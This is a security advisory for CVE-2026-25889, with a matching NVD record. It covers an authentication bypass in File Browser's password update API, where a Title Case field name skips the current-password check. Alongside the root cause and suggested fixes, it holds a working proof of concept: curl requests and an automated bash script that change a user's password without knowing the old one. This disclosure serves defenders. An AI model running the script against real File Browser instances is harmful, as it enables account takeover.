Security Advisory: Authentication Bypass in User Password Update

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.57.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.57.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-10T00:22:33Z",
    "nvd_published_at": "2026-02-09T22:16:03Z",
    "severity": "MODERATE"
  },
  "details": "# Security Advisory: Authentication Bypass in User Password Update\n\n## Summary\n\nA case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user\u0027s password) **without providing the current password**. By using Title Case field name `\"Password\"` instead of lowercase `\"password\"` in the API request, the `current_password` verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.\n\n**CVSS Score**: 7.5 (High)  \n**CWE**: CWE-178 (Improper Handling of Case Sensitivity)\n\n---\n\n## Details\n\nThe vulnerability exists in `http/users.go` in the `userPutHandler` function (lines 181-200).\n\n### Vulnerable Code\n\n```go\n// http/users.go:181-200\nif d.settings.AuthMethod == auth.MethodJSONAuth {\n    var sensibleFields = map[string]struct{}{\n        \"all\":          {},\n        \"username\":     {},\n        \"password\":     {},  // lowercase\n        \"scope\":        {},\n        \"lockPassword\": {},\n        \"commands\":     {},\n        \"perm\":         {},\n    }\n\n    for _, field := range req.Which {\n        if _, ok := sensibleFields[field]; ok {  // Case-sensitive lookup\n            if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n                return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n            }\n            break\n        }\n    }\n}\n```\n\n### Root Cause\n\n1. The `sensibleFields` map uses **lowercase** keys (e.g., `\"password\"`)\n2. The lookup `sensibleFields[field]` is **case-sensitive**\n3. When `req.Which` contains `\"Password\"` (Title Case), the lookup returns `false`\n4. The password verification block is skipped entirely\n5. Later in the code (line 229), field names are converted to Title Case for processing, so `\"Password\"` is a valid field name\n\n### Attack Flow\n\n```\n1. Attacker obtains victim\u0027s JWT token (via XSS, log leakage, etc.)\n2. Attacker sends PUT /api/users/{id} with:\n   - which: [\"Password\"]  (Title Case - bypasses validation)\n   - data.password: \"attacker_password\"\n   - NO current_password field required\n3. Password is changed without verification\n4. Victim is locked out, attacker has full access\n```\n\n---\n\n## PoC\n\n### Prerequisites\n- A valid JWT token for any user account\n- Target Filebrowser instance using JSON authentication (default)\n\n### Reproduction Steps\n\n**Step 1: Obtain a valid JWT token**\n```bash\nTOKEN=$(curl -s -X POST \"http://target:8080/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"victim\",\"password\":\"victim_password\"}\u0027)\n```\n\n**Step 2: Attempt normal password change (should fail)**\n```bash\ncurl -s -X PUT \"http://target:8080/api/users/1\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"what\": \"user\",\n    \"which\": [\"password\"],\n    \"data\": {\"id\": 1, \"password\": \"NewPassword123456\"}\n  }\u0027\n# Response: 400 Bad Request (the current password is incorrect)\n```\n\n**Step 3: Bypass with Title Case (succeeds without current_password)**\n```bash\ncurl -s -X PUT \"http://target:8080/api/users/1\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"what\": \"user\",\n    \"which\": [\"Password\"],\n    \"data\": {\"id\": 1, \"password\": \"HackedPassword123\"}\n  }\u0027\n# Response: 200 OK\n```\n\n**Step 4: Verify account takeover**\n```bash\n# Original password no longer works\ncurl -s -X POST \"http://target:8080/api/login\" \\\n  -d \u0027{\"username\":\"victim\",\"password\":\"victim_password\"}\u0027\n# Response: 403 Forbidden\n\n# New password works\ncurl -s -X POST \"http://target:8080/api/login\" \\\n  -d \u0027{\"username\":\"victim\",\"password\":\"HackedPassword123\"}\u0027\n# Response: Valid JWT token\n```\n\n### Automated PoC Script\n\n```bash\n#!/bin/bash\n# Usage: ./poc.sh \u003ctarget\u003e \u003cusername\u003e \u003ccurrent_password\u003e \u003cnew_password\u003e\n\nTARGET=\"$1\"\nUSERNAME=\"$2\"\nCURRENT_PASS=\"$3\"\nNEW_PASS=\"$4\"\n\n# Login\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"username\\\":\\\"$USERNAME\\\",\\\"password\\\":\\\"$CURRENT_PASS\\\"}\")\n\n# Get user ID from token\nUSER_ID=$(echo \"$TOKEN\" | python3 -c \"\nimport sys,json,base64\nparts=input().split(\u0027.\u0027)\npayload=json.loads(base64.b64decode(parts[1]+\u0027==\u0027))\nprint(payload[\u0027user\u0027][\u0027id\u0027])\n\")\n\n# Exploit: Change password without current_password\ncurl -s -X PUT \"$TARGET/api/users/$USER_ID\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\n    \\\"what\\\": \\\"user\\\",\n    \\\"which\\\": [\\\"Password\\\"],\n    \\\"data\\\": {\\\"id\\\": $USER_ID, \\\"password\\\": \\\"$NEW_PASS\\\"}\n  }\"\n\necho \"Password changed to: $NEW_PASS\"\n```\n\n---\n\n## Impact\n\n### Who is Impacted\n\n- **All Filebrowser users** using JSON authentication method (default configuration)\n- Any user whose JWT token can be obtained by an attacker\n- Particularly high-value targets: administrator accounts\n\n### Attack Scenarios\n\n| Scenario | Impact |\n|----------|--------|\n| XSS + Token Theft | Complete account takeover |\n| JWT in Server Logs | Mass account compromise |\n| Shared Computer | Session hijacking |\n| Malicious Browser Extension | Credential theft |\n\n### Security Impact\n\n| Category | Severity |\n|----------|----------|\n| Confidentiality | **High** - Attacker gains full account access |\n| Integrity | **High** - Attacker can modify all user data |\n| Availability | **High** - Legitimate user locked out |\n\n### Scope\n\n- The vulnerability affects **password modification only**\n- Other sensitive fields (`Username`, `Scope`, `Perm`, etc.) have additional protection via `NonModifiableFieldsForNonAdmin` check\n- However, for **administrators**, all fields can be modified using this bypass technique\n\n---\n\n## Suggested Fix\n\n### Option 1: Case-insensitive field matching (Recommended)\n\n```go\n// Convert field to lowercase before checking\nfor _, field := range req.Which {\n    if _, ok := sensibleFields[strings.ToLower(field)]; ok {\n        if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n            return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n        }\n        break\n    }\n}\n```\n\n### Option 2: Use Title Case in sensibleFields\n\n```go\nvar sensibleFields = map[string]struct{}{\n    \"All\":          {},\n    \"Username\":     {},\n    \"Password\":     {},  // Title Case to match post-transformation\n    \"Scope\":        {},\n    \"LockPassword\": {},\n    \"Commands\":     {},\n    \"Perm\":         {},\n}\n\n// Check AFTER field name transformation\nfor k, v := range req.Which {\n    v = cases.Title(language.English, cases.NoLower).String(v)\n    req.Which[k] = v\n    \n    // Now check with Title Case\n    if _, ok := sensibleFields[v]; ok {\n        if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n            return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n        }\n        break\n    }\n}\n```\n\n---\n\n## References\n\n- Affected File: `http/users.go`\n- Affected Lines: 181-200\n- Related Code: `NonModifiableFieldsForNonAdmin` (line 17)",
  "id": "GHSA-hxw8-4h9j-hq2r",
  "modified": "2026-02-10T02:56:29Z",
  "published": "2026-02-10T00:22:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-hxw8-4h9j-hq2r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/ff2f00498cff151e2fb1f5f0b16963bf33c3d6d4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.57.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser has an Authentication Bypass in User Password Update"
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "File Browser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit files. Prior to 2.57.1, a case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user\u0027s password) without providing the current password. By using Title Case field name \"Password\" instead of lowercase \"password\" in the API request, the current_password verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means. This vulnerability is fixed in 2.57.1."
    }
  ],
  "id": "CVE-2026-25889",
  "lastModified": "2026-02-10T15:22:54.740",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.4,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.5,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-09T22:16:03.723",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/filebrowser/filebrowser/commit/ff2f00498cff151e2fb1f5f0b16963bf33c3d6d4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.57.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-hxw8-4h9j-hq2r"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-178"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}